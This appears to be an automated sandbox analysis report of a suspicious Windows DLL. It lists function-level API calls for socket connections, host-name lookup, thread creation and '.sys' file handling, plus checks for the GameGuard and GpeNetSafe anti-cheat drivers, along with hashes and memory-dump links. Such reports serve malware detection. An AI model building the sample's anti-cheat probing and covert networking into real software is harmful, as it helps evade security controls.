Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: __strdup$ExtensionFileFindModuleNamePath_strcat_s
String ID: .CHM$.HLP$.INI
API String ID: 1153805871-4017452060
Opcode ID: 15b0369d1ec3c1fe75b691ed74f35e6fa515fcf3ac88603b48c87a61acc20a8a
Instruction ID: d8961794a170d81acd6b3af0829518d3ceb174182bb1a7138c926d1e3f5e7a30
Opcode Fuzzy Hash: 15b0369d1ec3c1fe75b691ed74f35e6fa515fcf3ac88603b48c87a61acc20a8a
Instruction Fuzzy Hash: 64412D719043199BDB31DB76CCA4B9AB7FCAF54319F0008AAE595E3540EF70DA88CB60

Function 62534990 Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 61
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32 ref: 625349F1
gethostname.WS2_32(?,00000104), ref: 62534A01
__strlwr.LIBCMT ref: 62534A0D

Strings

S, xrefs: 625349C1
D, xrefs: 625349B1
e, xrefs: 625349E1
j, xrefs: 625349B9
a, xrefs: 625349D1
f, xrefs: 625349D9
s, xrefs: 625349C9

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: Startup__strlwrgethostname
String ID: D$S$a$e$f$j$s
API String ID: 3543222892-4186746316
Opcode ID: 1c7de7706d51ac6088eef6f8f03b9ed3fe0a17b72cf3d85fdc6920460514964d
Instruction ID: 0e527bed61c19ff5f951d3c0ae6b3f1d2240c4e0221a353c7518df770d673d68
Opcode Fuzzy Hash: 1c7de7706d51ac6088eef6f8f03b9ed3fe0a17b72cf3d85fdc6920460514964d
Instruction Fuzzy Hash: 0B216D3060E7D08FF732863884247EBBFD55F97308F041999D8D987286E6B649088367

Function 6251D970 Relevance: 13.6, APIs: 9, Instructions: 116
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32(00000002,00000001,00000000), ref: 6251D995
ioctlsocket.WS2_32 ref: 6251D9B1
htons.WS2_32(?), ref: 6251D9E1
inet_addr.WS2_32(?), ref: 6251DA15
connect.WS2_32(?,?,00000010), ref: 6251DA30
WSAGetLastError.WS2_32 ref: 6251DA41
select.WS2_32(?,00000000,?,?,?), ref: 6251DAA7
__WSAFDIsSet.WS2_32(?,00000001), ref: 6251DAC8
__WSAFDIsSet.WS2_32(?,?), ref: 6251DAE1

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: ErrorLastconnecthtonsinet_addrioctlsocketselectsocket
String ID:
API String ID: 1968875722-0
Opcode ID: 53785fe0b0a1384469473e98fffe4ec6e43fc7919ffdd6651fede3a793ec64ee
Instruction ID: 2d2476fb4343267217c9390369d18d557a56c077721d748ce016e2490b43fa90
Opcode Fuzzy Hash: 53785fe0b0a1384469473e98fffe4ec6e43fc7919ffdd6651fede3a793ec64ee
Instruction Fuzzy Hash: 4D4150712093529FEB20CF64C858BABB7E5FB89304F004A1DF94997290E774EA45CB52

Function 62522100 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 148
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 62522124

Part of subcall function 6254ED6C: __FF_MSGBANNER.LIBCMT ref: 6254ED8F
Part of subcall function 6254ED6C: __NMSG_WRITE.LIBCMT ref: 6254ED96
Part of subcall function 6254ED6C: HeapAlloc.KERNEL32(00000000,?,00000001,00000000,00000000,?,62558DFF,?,00000001,?,?,62557CE7,00000018,62578F08,0000000C,62557D78), ref: 6254EDE3

_memset.LIBCMT ref: 62522151
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,?,?), ref: 62522161
WaitForSingleObject.KERNEL32(00000000,00000BB8,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 625221CB
_malloc.LIBCMT ref: 6252227E

Strings

%d.%d.%d.%d, xrefs: 6252224D

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _malloc$AllocCreateEventHeapObjectSingleWait_memset
String ID: %d.%d.%d.%d
API String ID: 1367748533-3491811756
Opcode ID: a65beaeb487d218d5364fa90baab8800f657ee456bdfeaa576f79a520933fd58
Instruction ID: 734e75025383556cc09691cdae084a34699caa60acdb13b7914fccb4622bc0d9
Opcode Fuzzy Hash: a65beaeb487d218d5364fa90baab8800f657ee456bdfeaa576f79a520933fd58
Instruction Fuzzy Hash: C251F7B5949311AFD324CF24D861B5BBBE4AF99708F04481DF889D72C1DB71DA08CBA2

Function 62515F50 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 62534AC0: _memset.LIBCMT ref: 62534AF3
Part of subcall function 62534AC0: _memset.LIBCMT ref: 62534B16

_memset.LIBCMT ref: 62515FD1
_memset.LIBCMT ref: 62515FE5
GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 62516046
_strncpy.LIBCMT ref: 625160D6
_strncpy.LIBCMT ref: 625160F9

Strings

.sys, xrefs: 62516028

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _memset$_strncpy$DirectoryWindows
String ID: .sys
API String ID: 4209668992-15676193
Opcode ID: 918e59ee43665fbfb8763242ab7ef6f8b1d94c92e20dc597a88462a1136065fd
Instruction ID: a70ee1577884003066535678e025571612aacb5328881be3d70a2abbc31c9406
Opcode Fuzzy Hash: 918e59ee43665fbfb8763242ab7ef6f8b1d94c92e20dc597a88462a1136065fd
Instruction Fuzzy Hash: F351A33110C3859FD325DF3884786ABBBE6EFC9304F44896DE4CAD7251E6719949C782

Function 62520860 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 62520894
__localtime64.LIBCMT ref: 625208B5

Part of subcall function 6254FEAE: __localtime64_s.LIBCMT ref: 6254FEC3

_strftime.LIBCMT ref: 625208D8

Part of subcall function 62551F09: __Strftime_l.LIBCMT ref: 62551F1E

_printf.LIBCMT ref: 625208EC

Strings

%d: %s, xrefs: 625208E7
%Y-%m-%d %H:%M:%S, xrefs: 625208C1

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: Strftime_l__localtime64__localtime64_s_memset_printf_strftime
String ID: %Y-%m-%d %H:%M:%S$%d: %s
API String ID: 1217571390-831412616
Opcode ID: 01c1bc4d390e24d939efeb5d55089dfeaae0189c28a01c6a173f7126543b32a7
Instruction ID: 3c5d6aca86a77ab39ab65b4eaf886265eded33be24b27e9d1d0dc545e2828a63
Opcode Fuzzy Hash: 01c1bc4d390e24d939efeb5d55089dfeaae0189c28a01c6a173f7126543b32a7
Instruction Fuzzy Hash: C02144B15143009FDB24DFA9C894B5BBBE4AFC8704F04895EF949CB255FB74DA048BA2

Function 6254EF37 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 6254EF6C
__calloc_crt.LIBCMT ref: 6254EF78
__getptd.LIBCMT ref: 6254EF85
CreateThread.KERNEL32(00000000,62514480,6254EEC0,00000000,00000004,00000000), ref: 6254EFAB
ResumeThread.KERNEL32(00000000,?,?,62511503,62514480,00000000,00000000), ref: 6254EFBB
GetLastError.KERNEL32(?,?,62511503,62514480,00000000,00000000), ref: 6254EFC6
__dosmaperr.LIBCMT ref: 6254EFDE

Part of subcall function 62552DCA: __getptd_noexit.LIBCMT ref: 62552DCA

Part of subcall function 625524F4: __decode_pointer.LIBCMT ref: 625524FF

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: Thread$CreateErrorLastResume___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
String ID:
API String ID: 1269668773-0
Opcode ID: 90ca519b4debbfc546dc5003035ea874a1fa9be0ab255c244e514df6480ba5c0
Instruction ID: f41c04c9aec9e2a640eab22c4c7a8a08f031b67253678643a51480332b3fd67d
Opcode Fuzzy Hash: 90ca519b4debbfc546dc5003035ea874a1fa9be0ab255c244e514df6480ba5c0
Instruction Fuzzy Hash: E7110472914210BFD730AFBDCC9495EBBA5EF81338F21162BF525A7180DF719E018661

Function 62517510 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 50fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 62517549
_sprintf.LIBCMT ref: 6251757A
CreateFileA.KERNEL32(?,00000000,00000003,00000000,00000003,00000080,00000000), ref: 62517596
CloseHandle.KERNEL32(00000000), ref: 625175A2

Strings

\\.\GpeNetSafe, xrefs: 6251756B
\\.\GameGuard, xrefs: 6251755A

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: CloseCreateFileHandle_memset_sprintf
String ID: \\.\GameGuard$\\.\GpeNetSafe
API String ID: 1524418005-3021087753
Opcode ID: 1b7536c3a57178d06c4d39de1c9922a5f1cadf296e354568a15a7d82c71634e1
Instruction ID: ab2ca38e39a1142eb03e1c0b9d81971ef53ac4a9ebaf9cbe172df5b203e37b5c
Opcode Fuzzy Hash: 1b7536c3a57178d06c4d39de1c9922a5f1cadf296e354568a15a7d82c71634e1
Instruction Fuzzy Hash: 0A014034A5C3107BF630DB28DC25FAA77986F85704F400D18BA94961C0E7748644C3D3

Function 62545B0E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000000,00000000,?,6253F240,?,00000000,6256F73D,00000000), ref: 62545B1C
SetErrorMode.KERNEL32(00000000,?,6253F240,?,00000000,6256F73D,00000000), ref: 62545B24

Part of subcall function 625442C0: GetModuleFileNameW.KERNEL32(?,?,00000105,?,?), ref: 625442F8
Part of subcall function 625442C0: SetLastError.KERNEL32(0000006F), ref: 6254430F

GetModuleHandleA.KERNEL32(user32.dll,6253F240,?,00000000,6256F73D,00000000), ref: 62545B73
GetProcAddress.KERNEL32(00000000,NotifyWinEvent), ref: 62545B83

Part of subcall function 62545988: GetModuleFileNameA.KERNEL32(?,?,00000104,?,?,00000000), ref: 625459C5
Part of subcall function 62545988: PathFindExtensionA.SHLWAPI(?), ref: 625459DF
Part of subcall function 62545988: __strdup.LIBCMT ref: 62545A27
Part of subcall function 62545988: __strdup.LIBCMT ref: 62545A66
Part of subcall function 62545988: __strdup.LIBCMT ref: 62545AAD

Strings

user32.dll, xrefs: 62545B6E
NotifyWinEvent, xrefs: 62545B7D

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: ErrorModule__strdup$FileModeName$AddressExtensionFindHandleLastPathProc
String ID: NotifyWinEvent$user32.dll
API String ID: 621541537-597752486
Opcode ID: ff5b5f5481bd12137215ffc0a979f5ed2c7d53195692ee663fd27ee6b0965341
Instruction ID: e6ccc7758d82701bff1be42924fb8478f46f1556a3701c9de7d01555562bd4f7
Opcode Fuzzy Hash: ff5b5f5481bd12137215ffc0a979f5ed2c7d53195692ee663fd27ee6b0965341
Instruction Fuzzy Hash: 590184B06502549FDB30AF79D824B597FA8AF45758B05845AE80597251DF34CC00CBA2

Function 6254EEC0 Relevance: 10.5, APIs: 7, Instructions: 37threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 6254EEC5

Part of subcall function 62557645: TlsGetValue.KERNEL32(?,625577D1,?,?,625122E5,?,00000104,6256E2A0,?,6251101E), ref: 6255764E
Part of subcall function 62557645: __decode_pointer.LIBCMT ref: 62557660
Part of subcall function 62557645: TlsSetValue.KERNEL32(00000000,?,625122E5,?,00000104,6256E2A0,?,6251101E), ref: 6255766F

___fls_getvalue@4.LIBCMT ref: 6254EED0

Part of subcall function 62557625: TlsGetValue.KERNEL32(?,?,6254EED5,00000000), ref: 62557633

___fls_setvalue@8.LIBCMT ref: 6254EEE2

Part of subcall function 62557679: __decode_pointer.LIBCMT ref: 6255768A

GetLastError.KERNEL32(00000000,?,00000000), ref: 6254EEEB
ExitThread.KERNEL32 ref: 6254EEF2
__freefls@4.LIBCMT ref: 6254EF0E
__IsNonwritableInCurrentImage.LIBCMT ref: 6254EF21

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
String ID:
API String ID: 4166825349-0
Opcode ID: bb2de643a065f1ae99fbe88cbbf954eff1ecbe0ea2131b4467b8eb3fce745402
Instruction ID: e2e6fedb30fb15a34537227a7703af06a5f448d286802970546dc650bee0719d
Opcode Fuzzy Hash: bb2de643a065f1ae99fbe88cbbf954eff1ecbe0ea2131b4467b8eb3fce745402
Instruction Fuzzy Hash: 35F0A470100202ABDB34DFBDC46892E7BA99F89309B11E556A8049B221DF34CC52CA55

Function 6251DFCB Relevance: 9.2, APIs: 6, Instructions: 169networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6251E04A
_memset.LIBCMT ref: 6251E063
_memset.LIBCMT ref: 6251E086
select.WS2_32 ref: 6251E0AB
WSAGetLastError.WS2_32 ref: 6251E0BD
recv.WS2_32(?,?,00000800), ref: 6251E0DA

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
